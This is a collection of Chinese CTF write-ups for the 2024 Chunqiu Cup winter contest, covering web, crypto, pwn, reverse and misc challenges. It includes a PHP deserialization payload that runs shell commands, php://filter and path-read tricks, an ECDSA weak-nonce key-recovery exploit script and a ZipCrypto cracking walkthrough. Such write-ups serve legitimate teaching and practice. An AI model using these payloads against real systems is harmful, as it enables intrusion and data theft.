zf.extractall(path=current_dir, pwd=password.encode("utf-8"))
解压完发现 0.zip 解压出来是 password+password.zip。同时发现 0 还是 1 的 password 是 89504e47
所以想到把所有的 txt 合并起来,然后解码一下,注意要删掉非十六进制的字符, 也就是后面的那一串 fg 什么的
import os
def merge_password_files(output_file="merged_passwo3rds.txt",
num_files =100): with open(output_file, 'w') as outfile:
for i in range(num_files):
file_name = f"password_{i}.txt"
if os.path.exists(file_name):
with open(file_name, 'r') as infile:
outfile.write(infile.read() + "n") else:
print(f"文件 {file_name} 不存在。")
print(f"合并完成,结果保存在 {output_file} 文件中。")
# 调用函数,假设你有 100 个文件 password_0 到 password_99
merge_password_files(num_files=100)
然后解码,删掉后面的一串FG,得到二维码

2024春秋杯冬季赛day2
easy_ser
Pop 链:wakeup-invoke-tostring
Passwaf2 分析得出 payload 长度小于 16 就不会被拆分,换句话说命令不能超过 16 个字符,用短代码的形式通过 shell_exec 的反引号经过 Base64 加密后进行命令执 行
data=O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:
{s:7:"hackman";s:20:"PD89YGNhdCAvZipgOw==";s:8:"filename";s:5:"a.php";}}}
// 定义学生类 STU
class STU
{
// 用于存储相关对象的属性
public $studentObject;
}
// 定义另一个类 SDU
class SDU
{
// 用于存储 STU 类对象的属性
public $associateStudent;
}
// 定义 CTF 类
class CTF
{
// 存储特定字符串的属性,初始值为'***' public
$hackman = '***';
// 存储文件名的属性
public $fileName = 'a.php';
}
// 创建 SDU 类的实例
$sduInstance = new SDU();
// 创建 STU 类的实例
$stuInstance = new STU();
// 创建 CTF 类的实例
$ctfInstance = new CTF();
// 将 STU 类实例赋值给 SDU 类实例的 associateStudent 属性
$sduInstance->associateStudent = $stuInstance;
// 将 CTF 类实例赋值给 STU 类实例的 studentObject 属性
$stuInstance->studentObject = $ctfInstance;
// 修改 CTF 类实例的 hackman 属性值,这里是经过 base64 编码的=`cat /f*`;
$ctfInstance->hackman = 'PD89YGNhdCAvZipgOw==';
// 输出序列化后的 SDU 类实例 echo serialize($sduInstance);

find me
下载附附件拖入我的世界的配置文件夹 saves 文件夹



进入世界后让你探索 flag(找雪屋,神寄吧一真一假,真雪屋坐标如下)


然后找到一个附魔书里面有个 key 值 cwqeafvfwqead,这就是flag.rar的密码


然后就是随波逐流一把梭环节

NetHttP
筛选过滤 http 包

读取了 app.py 的代码
from flask import Flask,request,render_template_string,Response,session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'
@app.route("/")
def index():
return open(__file__).read()
@app.route("/rce",methods=["GET"])
def rce():
data = request.args.get("name","Guest")
return render_template_string(f"Welcome {data}")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8989,debug=False)
继续看后面的
读取了 private 的密钥
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E
0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF
kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla
Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c
s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo
Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp
BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE
yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8
fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H
T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt
KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU
RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi
DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT
pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG
qUVmlGScmkU=
-----END ENCRYPTED PRIVATE KEY-----
是盲注,写个脚本把读取内容提出来
import base64
import re
# 用于存储符合条件行的列表
data_list = []
temp = ''
# 打开文件并逐行读取
with open('find.txt', 'r') as f:
for line in f:
# 如果行以'66'开头,将之前临时存储的内容添加到列表中
if line.startswith('66'):
data_list.append(temp)
temp = line
# 用于存储最终解码并提取的值
decoded_value = ''
for item in data_list:
# 搜索 echo 后的内容
match_obj = re.search(r"echo (.*?) ", item)
if match_obj:
value = match_obj.group(1)
try:
# 对搜索到的内容进行 Base64 解码
decoded = base64.b64decode(value)
# 从解码后的内容中搜索单引号内的内容
match_obj2 = re.search(r" '(.*?)' ", decoded.decode())
if match_obj2:
value2 = match_obj2.group(1)
decoded_value += value2
except Exception as e:
print(f"解码或匹配过程中出现错误: {e}")
print(decoded_value, end='')
得到
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZW
Nnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtm
MnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteD
JieEFhaGREZTFjR25qVFpHV09OcE5JPQ==RmFrZSBGTGFnCm5vIGhlcmUK
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZW
Nnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtm
MnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteD
JieEFhaGREZTFjR25qVFpHV09OcE5JPQ==
继续 base64 得到
S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh0
0hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4
DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI=
看上面的密钥,是通过 key 加密后的密钥,用下面脚本解,key 就是App.py 里的 key
from cryptography.hazmat.primitives import serialization
def decrypt_private_key(key_path, password):
# 读取并解密私钥
with open(key_path, 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=password.encode()
)
# 导出未加密的私钥
decrypted_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
# 保存解密后的私钥
with open('decrypted_key.pem', 'wb') as f:
f.write(decrypted_pem)
print("私钥解密完成")
# 使用示例
decrypt_private_key('key.txt', 'gdkfksy05lx0nv8dl')
得到新的密钥
-----BEGIN PRIVATE KEY-----
MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGAaxYIU7D5lIndIBLu
bRRywJZiAQ90QiRjuHAIsyyka69Wl1n9K4W9/hjNDeI5BP14oADSmOqLKmj8nw2w
bk0mDZ0KbWfT3eCxttGoplMEoCqKizTMdHGe7MUaK9A2CKIHOsHQhkpAmwLcDzNr
bLg9nx0hjPUDefqwCn1q7B/IQPMCAwEAAQKBgEQaQ/ttrpwfvUhbodQvT/dY7ET+
XhJ+cAjo/y9r8bkmTmx853xZVwYVIbt1pouc46zmOQjVCOJU2GwS2aScXdkx8Fm1
YQJqzbxcZ4oEA/f66E99560um3RRsa7DWKwNdIcU4wukyfgx5fILoiuE8ThjG23V
b3oDOzaIhyCrcO65AkEApZJjxmMk0AB8ZUkhIqw+2gD4N5SPisae+aFfLgLt14H4
VwSZxl2kRs7yhZGl5spFlxdotym3YS/30aY3/+3GPQJBAKWSY8ZjJNAAfGVJISKs
PtoA+DeUj4rGnvmhXy4C7deB+FcEmcZdpEbO8oWRpebKRZcXaLcpt2Ev99GmN//t
xu8CQQCf2DInBvQ1MyLlDbLFrJCJGsKHtg7WJWa5DQe8fetsUPeV2sUycpj0Gzqb
pL8Ljl+cvGbF3apCU3LmnZgWplDpAkB+i1EYqmPTWdu5adgacP0kj4Mmr7O5xC5y
6kQdnX18rchJcam5843/1GGFdpkOuF/Rp8GP5CFU9V157Yl1YJ0fAkAvcGpACEWD
gZPSO8jGVr6XoVtA0tW2JMX/nPoxI1soLG38Kwaqc/+bepMmRQ50dlvZUA4uufmT
N3OWrL+BavU0
-----END PRIVATE KEY-----
然后再 rsa 解密得到 flag
Weevil’s Whisper
这题我直接放大图了

2024春秋杯冬季赛day3
backdoor
Exp如下
import numpy as np
import base64
import requests
from PIL import Image
import io
def generate_trigger_pattern(class_number, rgb_value, location, trigger_size):
# 创建全零的掩码和图案数组,尺寸为 32x32 像素,每个像素有 3 个颜色通道
(RGB)
trigger_mask = np.zeros((32, 32, 3))
trigger_pattern = np.zeros((32, 32, 3))
# 计算触发器区域的结束行和列索引
row, col = location
end_row, end_col = row + trigger_size, col + trigger_size
# 在掩码数组中设置触发器区域为 1
trigger_mask[row:end_row, col:end_col] = 1
# 在图案数组的触发器区域设置指定的 RGB 值
trigger_pattern[row:end_row, col:end_col] = rgb_value
return trigger_mask, trigger_pattern
def image_to_base64(image_array):
# 将图像数组的值乘以 255,并转换为无符号 8 位整数类型(0-255)
img_data = (image_array * 255).astype(np.uint8)
# 使用 PIL 库将数组转换为图像对象
img_obj = Image.fromarray(img_data)
buffer = io.BytesIO()
# 将图像对象保存到内存缓冲区,格式为 PNG
img_obj.save(buffer, format='PNG')
# 将缓冲区中的数据进行 Base64 编码,并转换为字符串
return base64.b64encode(buffer.getvalue()).decode()
def scan_backdoor():
api_endpoint = "http://eci2ze1ug62jhbziy6morae.cloudeci1.ichunqiu.com:5000/upload"
# 定义要测试的 RGB 值列表,每个值代表一种颜色
rgb_values = [[1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 1, 0], [1, 0, 1], [0, 1, 1]]
# 定义要测试的触发器位置列表,每个位置表示触发器在图像中的起始坐标
trigger_locs = [(0, 0), (0, 28), (28, 0), (28, 28)]
# 定义要测试的触发器大小列表
trigger_sizes = [4, 8, 16]
for label in range(5, 16):
for rgb in rgb_values:
for loc in trigger_locs:
for size in trigger_sizes:
print(f"[*] 正在扫描: 类别={label}, RGB={rgb}, 位置={loc}, 大
小={size}")
mask, pattern = generate_trigger_pattern(label, rgb, loc, size)
payload = {
"mask": image_to_base64(mask),
"pattern": image_to_base64(pattern)
}
try:
resp = requests.post(api_endpoint, json=payload)
if resp.status_code == 200:
print(f"[+] 发现后门! 类别: {label}")
print(f"[+] 服务器响应: {resp.text}")
return
else:
print(f"[-] 类别 {label} 测试失败,状态码:
{resp.status_code}")
except Exception as e:
print(f"[-] 网络错误: {str(e)}")
if __name__ == "__main__":
scan_backdoor()

easyasm
Exp如下
def b_sort(wl):
# 复制输入的单词列表
arr = wl[:]
n = len(arr)
swapped = True
# 使用冒泡排序算法进行排序
while swapped:
swapped = False
for i in range(n - 1):
# 如果当前元素大于下一个元素,进行交换
if arr[i] > arr[i+1]:
arr[i], arr[i+1] = arr[i+1], arr[i]
swapped = True
return arr
def main():
# 输入的十六进制单词列表
rwh = [
0x2030, 0x3040, 0x4050, 0x1022, 0x2011,
0x1666, 0x1522, 0x8899, 0x4155, 0x4044,
0x4288, 0x3321, 0x6033, 0xFFFF, 0x2221,
0x3366, 0x222C, 0x2CCC, 0x22CC, 0xCC22,
0xC2C2
]
# 对输入的十六进制单词进行排序
sw = b_sort(rwh)
sk = [] # 存储处理后的排序键
# 遍历排序后的十六进制单词,提取低字节和高字节
for w in sw:
low = w & 0xFF # 低字节
high = (w >> 8) & 0xFF # 高字节
sk.append(low) # 添加低字节到排序键
sk.append(high) # 添加高字节到排序键
# 目标字节数组
tgt = [
0x44, 0x7C, 0x43, 0x72, 0x1D, 0x72, 0x74, 0x41,
0x05, 0x14, 0x19, 0x1A, 0x19, 0x0F, 0xF5, 0x10,
0xAE, 0x18, 0x6D, 0x01, 0x10, 0x56, 0x00, 0x1E,
0x26, 0x71, 0x65, 0x73, 0x78, 0x72, 0xEB, 0x72,
0x52, 0x06, 0xAA, 0xBB, 0xA3, 0xA4, 0x1B, 0xFC,
0xC7, 0x82
]
# 存储解密后的字节
fb = []
# 对目标字节和排序键进行异或操作
for i in range(len(tgt)):
fb.append(tgt[i] ^ sk[i]) # 异或操作以获得每个字节
# 将字节转换为字符串
f_str = "".join(chr(b) for b in fb)
print(f_str) # 输出结果
if __name__ == "__main__":
main()
easy_code
访问/robots.txt 可以看到有 gogogo.php
ctfer 参数有三个检测,只需要用科学计数法,PHP 会自动四舍五入
ctfer=6.66999999999999999999999999999999999999999e2
Hackbar 里设置 cookie 为 pass=admin

Include 那里使用 php://filter 配合 convert.iconv 修改字符集使用
ile=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php
easy_php
下载源码,审计一下,发现 file.php 有个 flie 参数
直接传入 file.php?file=/flag 就可以了

funny_rsa
这种题,直接酷酷 chatgpt
Exp如下
import gmpy2
from Crypto.Util.number import *
funny1 = -
176962576976735335176952153444827848039532623083154166886834260364076
706270607684420286281379697192897343880983576595212559660311313904255
499745473761653921473942719742800202341010318378378426207751649676196
883512226318035852137622057938018284610585235034570227049488037953605
917194815378595246891878479584235876387440862653954381637207087856363
197419089018661368581619965605252524616196416972558192556612692664716
895416733483777175039573288274593966773445541725422445409315451668461
176265855809643180101815865163658914130410953993445330130570118547347
01706641516027767197631044458866554524544179750101814734153116374
funny2 =
236867288804947582330267984878596227552031051201301801082227330382757
880820477558287714298490791420707797318751368379788628805002051290221
656005116118075901953416291794430575536942849139749850065906171438730
195307109524202424124374679175195395916838987159902977504949009232450
556325447634104015405186545220171152695081834820448720910522356081707
101056317421769003060977347997932642021791812420158927633117536747992
733006048048200154471619509960387955188445648610043983967962841138037
59208011
funny3 =
419166458284161364374927086939132546372091965414091344286510440034452
974193054721041229068769658972346759176374539266235862042787888391905
466876330331208651698002159575012622762558316612596034044109738533275
009086940744966244759977014078484433213617582101347769476703012517531
619023366639507114909172774156647998737369356116119513795863130218094
614475699956104117183821832339358478426978211282822163928764161915824
622224165694904342224081321345691796882691318330781141960650263488927
837990954860719950761728580780956673732592771855694502630374907978111
094148614378212006604233062606116168868545120407836000858982789824582
335703891535021579560434875457656655941164757860852341484554015214879
991896412137447010444797452119431147303295803678311972500421396900616
845556636124424993090559354406417222700637726789045926994792374756038
517484548544506630672251868349748176389591615802039026216656891403871
728516658502023897343287181822303758976641229952646993446276281728919
020747050486979968215989594984778920359425264076558022228448529089047
021814759587052098774273578311709416672952218680244714492318709603579
024
funny4 =
135418983810471208265737438741059651913041007995178204648132502010303
197711554307556066448601034698230305818584109576000276655045333355979
885080842842525109618479995258115586513409063331012487609701544408850
127171081319626589213965490209438329837126117490954681806480115218081
064805906655941604793249313519968121855811936082446527929367155042843
121727346623646761670106743592432199591294351279502323211307250131600
269777523894096206741670376503671967485923356981648750971399313763896
308671927617839367572603596063790885779771543782172353262495400982686
16890307702288393952949444753648206049856544634755301197410481479
n = (funny3+1025)//gmpy2.gcd(funny3+1025,funny2)
p_add_q = funny1+n
p =
146244963903123897384722629319865983862385290427491632619680838698915
634884136798118860944346342346684665267628932533730684360351083477628
483048417394493368921029652616722076101582581881994784549216229374327
065827698990452634615021972143959360660773895031574424678151072027651
307994605157369826310532546455301
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(65537,phi)
hint = pow(funny4,d,n)
print(long_to_bytes(funny2//hint))
print(long_to_bytes(50448336829318143678810360907277028412349579430940518
054208753750310477630077509789620558011919683838601566875976663602683
70292861))
true:flag{aB3-CdE7_FgH9-iJkLmNoPqRsT-UvWxYz1234567890}
Binwalk 发现图片里有压缩包
写个脚本解压压缩包,并记录所有压缩包的名字
列出所有的文件名
['zMjiQdMYLHK', '6c69b2nqwz2', 'iYMtivbWMUH', 'xi9d6pw4mLY', 'YHtMsKZ9wuX',
'Kbwk4at4AHj', 'dRPuEdHCG4d', '3gR1bg5U8YN', 'JNoFPxJCSQV', 'q5yn3gHbKg6',
'Avpr7Kpj8sD', 'am3p4WHR3fi', 'fpgyMHpeAgV', 'acz8HEJyvgf', 'dCVcJepagGR',
'B7EsL11wcuv', 'yXwZGh3ot37', 'xqstfWn6LHt', 'XEbjV2pKJeH', 'trjrMMjCFDZ',
'RPg6RNirwd1', '1zXsXaQaq9e', 'uJcvgotRUjp', 'YRYWbKB6A25', 'qtQiwA4Gf8Q',
'jfHDyccqkRV', 'jtoMp8SvPf9', 'cR3iiRvwKyE', 'ypi7FVfi2Fw', 'xdUw3wh8tor',
'JsdXXeVLKMd', 'zgiE7geiPvF', 'tfA9qEAsqV7', 'vqk7JncqDHo', 'EDPrsUByKTp',
'vypAjmuQxya', 'NF9GU22MxYL', 'DZDrbqGyaLQ', 'rhaqP5Kn26C', 'C44egaMVpYJ',
'SN4irp67f4K', 'Lv9LpD3WSHq', 'KgJAtGV7KtU', 'Q3MjJ8duxA8', 'CwuadryMdku',
'asrZXj3c9YD', 'Q1Nf7LbXKvz', 'AXye64M1JNN', 'Uks3yrzaPJo', 'UjXqkveanCg',
'LHqaXutHiQM', 'side1jYU2mN', 'uBpjTuZb4mT', 'zKcoamcw6qD', '7PeWL7qGBeB',
'zzEKG4G51Q4', '3EF4125LwYQ', 'eAS721ji7e9', 'M8Lmf8CU315', 'v3unatngTkG',
'LFUGkFuhAmv', 'nvaaCKPS7M3', 'J8XSjdh9ofR', 'FpX8xHdTUBo', 'QutbHXE8uYL',
'Faibrg5ohzA', 'brhPjhSdH2A', 'ei1X3ztdQPx', 'H1rm2PHhm2q', 'QazwAuJDk9L',
'Lg3csdtRiTX', 'b1qmeYoUmud', 'RWkTTgxUf6g', 'd53ckZZj9Bi', 'gJrG5jQfNQ9',
'RfRAhDFBreF', 'U1nLXdyXLnm', 'iVtD6s7Gtb4', 'qXVaLtuRCtF', 'yNW5yu2zyqa',
'SdpXLjfPQxB', '3vzvqCzeDjF', 'yaUMKQS4Nsf', 'BNmiYfRK95E', 'rWieUL24eL2',
'8UzqnH65fhe', 'vYKzvN461Hq', '43Pw8vDDMcJ', 'wy4tjLhtFCk', 'Lvj8YUoZaWD',
'DTKgRvTPzrK', '8bzxbsbUMg1', 'mxYTZdt3KH2', 's5nzUHP1xBE', '9E8fknBQ5d5',
'ezC5sRwk412', 'eEEhKv2qohJ', 'Z3gW8JGczKZ', 'Vqh6ks9aXhx', 'DgNyJMANRqm',
'LYZakCKVjv5', 'fqdJRsy2NXJ', 'cXSmsbmaxoE', 'CWzoAaQrY8B', 'AVZHSVbmFb5',
'JACanfgDv3E', 'xPNmMNCdoe4', 'rN4Wg8hX2Bx', 'rNFhP27NxFS', 'HUx57o7LHre',
'1NDheyJvG8j', 'iE7i5xmse7E', 'Y5oq1fyCcNk', 'B9bFiXj8rb1', 'CMtbBWUdTP3',
'QifiuAtYdNH', '1bYWx4YRfH3', 'JPFGHfGRaYX', '5jHQz5upm9f', '1qtnyM32bYL',
'CXotjV6FSFa', 'jeaEG3RG6ts', 'VNBZD8scRnE', 'HTaP8qM67cH', '9SzHC6sNeuM',
'qn1nAWUWY4X', '2BW7EUjDg1x', 'PsJvpzLrucb', 'CqdBnN9XKvC', '9oW3fdLYY96',
'nFQwYN4vUki']
倒着拼接,nFQwYN4vUki 9oW3fdLYY96 …. zMjiQdMYLHK 最后赛博厨子

然后是一个码,可以用 google 搜图扫瞄

riya
这题应该是非预期,直接 nc 链接后
N 回车
然后直接 chat /flag

SignTime
连接到服务器后,我们发现有三个选项:
sign_time: 获取一个时间签名
verify: 验证签名
I kown the secret: 输入私钥获取 flag
分析服务器代码,发现以下:
def sign_current_time():
current_time = datetime.now()
current_month = int(current_time.strftime("%m"))
current_seconds = int(current_time.strftime("%S"))
formatted_time = f"{current_month}:{current_seconds}"
message = f"The time is {formatted_time}"
message_hash = sha1(message.encode()).digest()
signature = private_key.sign(bytes_to_long(message_hash), randrange(100, 100 +
current_seconds))
return {"time": message, "r": hex(signature.r), "s": hex(signature.s)}
服务器使用椭圆曲线数字签名算法进行签名,签名时使用的随机数 k 是基于当前时间的秒数 生成的
如果 k 可以被预测或范围有限,私钥可能被恢复
公式计算私钥:
private_key = ((s * k - message_hash) * pow(r, -1, order)) % order
获取服务器的时间签名,从签名中提取当前时间的秒数,尝试所有可能的 k 值(从 100 到 100+seconds),对每个 k 值计算私钥并验证,使用正确的私钥就可以获取 flag
from pwn import *
import re
from hashlib import sha1
from Crypto.Util.number import bytes_to_long
from ecdsa.ecdsa import generator_192, Public_key, Private_key, Signature
import time
def parse_signature(response):
print("[*] Server response:", response) # 添加调试信息
# 解析服务器返回的签名信息
time_pattern = r"'time': '([^']*)"
r_pattern = r"'r': '([^']*)"
s_pattern = r"'s': '([^']*)"
time = re.search(time_pattern, response).group(1)
r = int(re.search(r_pattern, response).group(1), 16)
s = int(re.search(s_pattern, response).group(1), 16)
print(f"[+] Parsed values:n Time: {time}n r: {hex(r)}n s: {hex(s)}") # 添加调试信
息
return time, r, s
def solve_private_key(message, r, s, k):
# 根据已知的 k 值(随机数)求解私钥
generator = generator_192
order = generator.order()
message_hash = bytes_to_long(sha1(message.encode()).digest())
private_key = ((s * k - message_hash) * pow(r, -1, order)) % order
print(f"[+] Calculated values:n k: {k}n private_key: {hex(private_key)}") # 添加调
试信息
return private_key
def verify_private_key(message, r, s, private_key):
"""验证计算出的私钥是否正确"""
generator = generator_192
public_key = Public_key(generator, generator * private_key)
message_hash = bytes_to_long(sha1(message.encode()).digest())
signature = Signature(r, s)
return public_key.verifies(message_hash, signature)
def try_connect(host, port, max_retries=3):
"""尝试连接服务器,带有重试机制"""
for i in range(max_retries):
try:
print(f"[*] Attempting connection {i+1}/{max_retries}...")
conn = remote(host, port, timeout=5)
print("[+] Connection successful!")
return conn
except Exception as e:
print(f"[!] Connection attempt {i+1} failed: {str(e)}")
if i < max_retries - 1:
print("[*] Retrying in 2 seconds...")
time.sleep(2)
else:
raise Exception("All connection attempts failed")
return None
def find_valid_private_key(message, r, s, seconds):
"""尝试所有可能的 k 值来找到正确的私钥"""
for k in range(100, 101 + seconds):
private_key = solve_private_key(message, r, s, k)
if verify_private_key(message, r, s, private_key):
print(f"[+] Found valid private key with k={k}:")
print(f" private_key: {hex(private_key)}")
return private_key
return None
def main():
host = '47.93.12.9'# 更新服务器地址
port = 28733 # 更新端口号
conn = None
try:
# 尝试连接服务器
conn = try_connect(host, port)
# 接收 banner 信息
banner = conn.recvuntil(b"Enter your option: ", timeout=5).decode()
print(banner)
# 获取第一个签名
print("[*] Requesting signature...")
conn.sendline(b"sign_time")
time.sleep(0.5)
response = conn.recvline(timeout=5).decode()
# 解析签名
time_msg, r, s = parse_signature(response)
seconds = int(time_msg.split(":")[-1])
# 尝试所有可能的 k 值找到正确的私钥
print("[*] Trying all possible k values...")
private_key = find_valid_private_key(time_msg, r, s, seconds)
if not private_key:
print("[!] Failed to find valid private key")
return
# 提交私钥获取 flag
print("[*] Submitting private key...")
conn.recvuntil(b"Enter your option: ", timeout=5)
conn.sendline(b"I kown the secret")
time.sleep(0.5)
conn.recvuntil(b"Enter the secret: ", timeout=5)
secret = hex(private_key)
print(f"[*] Sending secret: {secret}")
conn.sendline(secret.encode())
time.sleep(0.5)
# 获取 flag
print("[*] Waiting for flag...")
try:
result = conn.recvline(timeout=2).decode()
if result and len(result.strip()) > 0:
print("[+] Server response:", result.strip())
except EOFError:
print("[!] Server closed connection")
except Exception as e:
print(f"[!] Error occurred: {str(e)}")
finally:
if conn:
conn.close()
if __name__ == "__main__":
main()
运行脚本连接到服务器
尝试不同的 k 值,找到正确的私钥:
[+] Found valid private key with k=103:
private_key: 0xa90e64c2b42711d2d173042d974985dcc8bd515562e773d0
toys
程序就是个溢出

有个 strlen 检查,根据截断特性,00 截断 strlen 但不会使 fgets 截断,从而绕过检查。存在gadget 函数,能将&stdout 地址给 rax

配合程序段泄露 stdout 地址,最终 getshell

音频的秘密
据主办方提示 DeepSound 隐写弱口令 123 读取后是一个加密的压缩包

根据加密算法搜索一下相关的 ctf 资料

通过搜索发现 zipcrypto 解密工具 bkcrack

在博客上面还有使用该工具的相关的题目

echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps >png_header

time ./bkcrack/bkcrack -C flag.zip -c flag.png -p png_header -o 0 > 1.log&

tail -f 1.log

./bkcrack/bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d 1.png

pixel_master

黑 1 白 0 读取二进制,转换十六进制就是下一张 PNG 图片的十六进制,这步就不用多说了

有第一张图为例,还是比较好联想的
第一行按顺序出现黑、红、绿、蓝四种颜色,其余部分为白色
全图共出现五种颜色(黑、红、绿、蓝、白)
白色仅出现在第一行和最后一行
假设第一行是告诉我们颜色到数字的映射关系:黑对应 0、红对应 1、绿对应 2、蓝对应 3 、忽略白色,读取整张图片按四进制转换。写个脚本验证猜想。
from PIL import Image
import numpy as np
# GPT一键注释(
# 打开图片并将其转换为RGB模式
image = Image.open("download.png").convert("RGB")
pixels = np.array(image) # 将图片转换为NumPy数组以便处理
# 定义颜色到数字的映射(忽略白色)
color_map = {
(0, 0, 0): 0, # 黑色 -> 0
(255, 0, 0): 1, # 红色 -> 1
(0, 255, 0): 2, # 绿色 -> 2
(0, 0, 255): 3, # 蓝色 -> 3
}
# 将图片转换为数字矩阵
result = []
for i in range(pixels.shape[0]): # 遍历每一行
row = []
for j in range(pixels.shape[1]): # 遍历每一列
r, g, b = pixels[i, j] # 获取当前像素的RGB值
if (r, g, b) in color_map: # 如果颜色在映射表中
row.append(str(color_map[(r, g, b)])) # 将对应的数字添加到当前行
result.append("".join(row)) # 将当前行的数字拼接成一个字符串并添加到结果中
# 将整个图片的数字拼接成一个数字,并忽略前4个字符(第一行示例的0123)
big_number = "".join(result)[4:]
# 将大数字从4进制转换为16进制
hex_number = hex(int(big_number, 4))
# 将16进制数据写入文件
with open("output.png", "wb") as f:
f.write(bytes.fromhex(hex_number[2:])) # 去掉16进制前缀"0x"并写入文件
然后我们就得到了这个缺了一个角的汉信码

剩下就是 PS 了




往期推荐
来源 | 源于各位参加春秋杯的选手
制作 | x8i
审发 | 隼目安全
- 最新
- 最热
只看作者